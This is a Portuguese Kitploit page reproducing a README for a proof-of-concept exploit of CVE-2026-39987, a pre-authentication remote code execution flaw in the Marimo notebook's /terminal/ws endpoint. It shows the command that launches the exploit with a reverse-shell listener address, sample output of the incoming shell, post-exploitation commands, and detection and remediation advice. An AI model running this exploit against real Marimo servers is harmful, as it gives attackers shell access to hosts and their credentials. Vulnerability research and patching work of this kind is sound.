Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-39987 — Exploit de prova de conceito para RCE pré-autenticação no Marimo. Utiliza o endpoint WebSocket não autenticado /terminal/ws para gerar um PTY e estabelecer um reverse shell. | Kitploit
Ferramentas/GitHubGitHub/k3ystr0k3r/cve-2026-39987
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubk3ystr0k3r/cve-2026-39987

CVE-2026-39987

Exploit de prova de conceito para RCE pré-autenticação no Marimo. Utiliza o endpoint WebSocket não autenticado /terminal/ws para gerar um PTY e estabelecer um reverse shell.

Ver Repositório
há 1 diaAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-39987 — RCE Pré-Autenticação no Marimo

CVE CVSS CWE Marimo

CVE-2026-39987 é uma vulnerabilidade crítica de Execução Remota de Código (RCE) pré-autenticação que afeta o Marimo, um ambiente de notebook Python reativo.

A vulnerabilidade existe no endpoint WebSocket de terminal do Marimo:

root@kitploit:~
/terminal/ws

O endpoint não aplicava corretamente a autenticação antes de criar uma sessão de terminal. Como resultado, um atacante remoto não autenticado que consiga alcançar uma instância vulnerável do Marimo pode estabelecer uma conexão WebSocket e obter um shell PTY interativo.

Nenhuma credencial válida é necessária.


Resumo da Vulnerabilidade

PropriedadeValor
CVECVE-2026-39987
ProdutoMarimo
VulnerabilidadeExecução Remota de Código Pré-Autenticação
Vetor de AtaqueRede
AutenticaçãoNão necessária
Interação do UsuárioNão necessária
CWECWE-306 — Ausência de Autenticação para Função Crítica
SeveridadeCrítica
Versão Corrigida0.23.0

A vulnerabilidade foi causada pela aplicação inconsistente de autenticação entre os endpoints WebSocket do Marimo.

Embora outras funcionalidades WebSocket realizem validação de autenticação, o endpoint vulnerável /terminal/ws podia aceitar uma conexão sem primeiro validar o chamador.


Causa Raiz

O endpoint de terminal vulnerável cria um PTY interativo após aceitar uma conexão WebSocket.

Conceitualmente, o fluxo de requisição vulnerável é:

root@kitploit:~
Remote Client
     |
     | WebSocket connection
     v
/terminal/ws
     |
     | Missing authentication validation
     v
WebSocket accepted
     |
     v
PTY created
     |
     v
Interactive shell

A fronteira de segurança importante é a ausência da verificação de autenticação.

Um endpoint que expõe execução arbitrária de comandos não deve permitir que um cliente não autenticado alcance a lógica de criação do PTY.


Impacto

A exploração bem-sucedida pode fornecer execução arbitrária de comandos com os privilégios do processo do Marimo.

Dependendo da configuração de implantação, isso pode permitir que um atacante:

  • Executar comandos arbitrários do sistema operacional
  • Ler arquivos da aplicação
  • Acessar variáveis de ambiente
  • Acessar credenciais disponíveis para o processo do Marimo
  • Acessar arquivos montados no contêiner
  • Pivotar para um ambiente interno
  • Comprometer o host ou contêiner subjacente quando houver privilégios excessivos disponíveis

O impacto é particularmente significativo para ambientes de notebook, pois eles geralmente têm acesso a conjuntos de dados, APIs, credenciais, recursos de nuvem e infraestrutura de desenvolvimento.


Prova de Conceito

Aviso: Execute o PoC apenas contra sistemas que você possui ou para os quais tenha autorização explícita para testar.

Este repositório contém um PoC para demonstrar a vulnerabilidade em um ambiente controlado.

O exemplo abaixo demonstra a exploração contra uma instância local/de laboratório.

Iniciar o alvo vulnerável

Por exemplo:

root@kitploit:~
http://127.0.0.1:8081

A instância vulnerável do Marimo deve estar em execução antes de executar o PoC.


Executar o PoC

Exemplo:

root@kitploit:~
python3 exploit.py \
    -u http://127.0.0.1:8081 \
    --host 192.168.101.130 \
    --port 5555

Onde:

root@kitploit:~
-u       Target Marimo instance
--host   Listener IP
--port   Listener port

O PoC estabelece a conexão de terminal vulnerável e aguarda a conexão de shell resultante.

Exemplo de saída:

root@kitploit:~
[!] Coded By: K3ysTr0K3R
[!] CVE-2026-39987 - Marimo Pre-Auth RCE
[*] Listening on 192.168.101.130:5555 (timeout 15s)
[*] _build_ws_url invoked
[*] deliver_and_hold invoked
[*] Sending payload: python3 -c ...
[*] Waiting for reverse shell... (Ctrl+C to abort)
[+] Connection from 192.168.160.3:32882

Demonstração do Shell

Após a exploração bem-sucedida, o atacante recebe um shell executando sob os privilégios do processo do Marimo.

Identificar o usuário atual

root@kitploit:~
whoami

Exemplo:

root@kitploit:~
marimo

Verificar a identidade do processo

root@kitploit:~
id

Exemplo:

root@kitploit:~
uid=10001(marimo) gid=10001(marimo) groups=10001(marimo)

Isso demonstra que comandos arbitrários estão sendo executados remotamente como a conta marimo.


Demonstração do Sistema de Arquivos

O PoC também pode demonstrar o acesso ao sistema de arquivos disponível para o processo comprometido.

root@kitploit:~
ls -la

Exemplo:

root@kitploit:~
total 4
-rw-r--r-- 1 marimo marimo 216 Aug 19 17:23 notebook.py

Movendo-se para a raiz do sistema de arquivos:

root@kitploit:~
cd /
ls

Exemplo:

root@kitploit:~
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
workspace

Isso confirma que o shell remoto tem acesso normal ao sistema de arquivos, sujeito aos privilégios e às restrições de contêiner do processo do Marimo.


Cadeia de Exploração

A cadeia completa da vulnerabilidade pode ser resumida como:

root@kitploit:~
1. Attacker discovers exposed Marimo instance
                |
                v
2. Attacker connects to /terminal/ws
                |
                v
3. Authentication is not enforced
                |
                v
4. WebSocket connection is accepted
                |
                v
5. PTY terminal is created
                |
                v
6. Attacker obtains command execution
                |
                v
7. Commands execute as the Marimo process

A falha crítica de segurança ocorre na etapa 3.


Detecção

Possíveis indicadores de exploração incluem conexões WebSocket inesperadas para:

root@kitploit:~
/terminal/ws

e atividade incomum de processos originada do servidor Marimo.

Os defensores devem investigar:

  • Conexões inesperadas ao endpoint WebSocket de terminal
  • Processos de shell inesperados gerados pelo Marimo
  • Processos filhos suspeitos
  • Conexões de saída inesperadas
  • Acesso a variáveis de ambiente sensíveis
  • Atividade inesperada no sistema de arquivos
  • Comandos desconhecidos executados pelo processo do Marimo

Remediação

Atualize o Marimo para uma versão corrigida:

root@kitploit:~
0.23.0 or later

Além disso:

  • Não exponha o Marimo diretamente à Internet pública, a menos que seja necessário.
  • Coloque os serviços de notebook atrás de um proxy reverso autenticado.
  • Restrinja o acesso à rede a usuários e redes confiáveis.
  • Execute o Marimo com os privilégios mínimos necessários.
  • Evite montar diretórios sensíveis do host no contêiner.
  • Gire as credenciais que possam ter sido acessíveis a instâncias comprometidas.
  • Revise os logs em busca de atividade suspeita em /terminal/ws.
  • Investigue instâncias potencialmente comprometidas em vez de presumir que apenas a aplicação de patches remove a persistência do atacante.

Classificação de Segurança

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
Severity:   Critical
Type:       Pre-Authentication RCE
Protocol:   WebSocket
Endpoint:   /terminal/ws
Auth:       None required
Fixed:      0.23.0

Referências

  • NVD — CVE-2026-39987
  • GitHub Security Advisory — GHSA-2679-6mx9-h9xc
  • Aviso de segurança e patch do Marimo
  • Catálogo de Vulnerabilidades Exploradas Conhecidas da CISA

Aviso Legal

Este projeto é fornecido para fins de pesquisa em segurança, validação de vulnerabilidades e educação. Não use o PoC contra sistemas que você não possui ou para os quais não tenha autorização explícita para testar.

Baixar ferramenta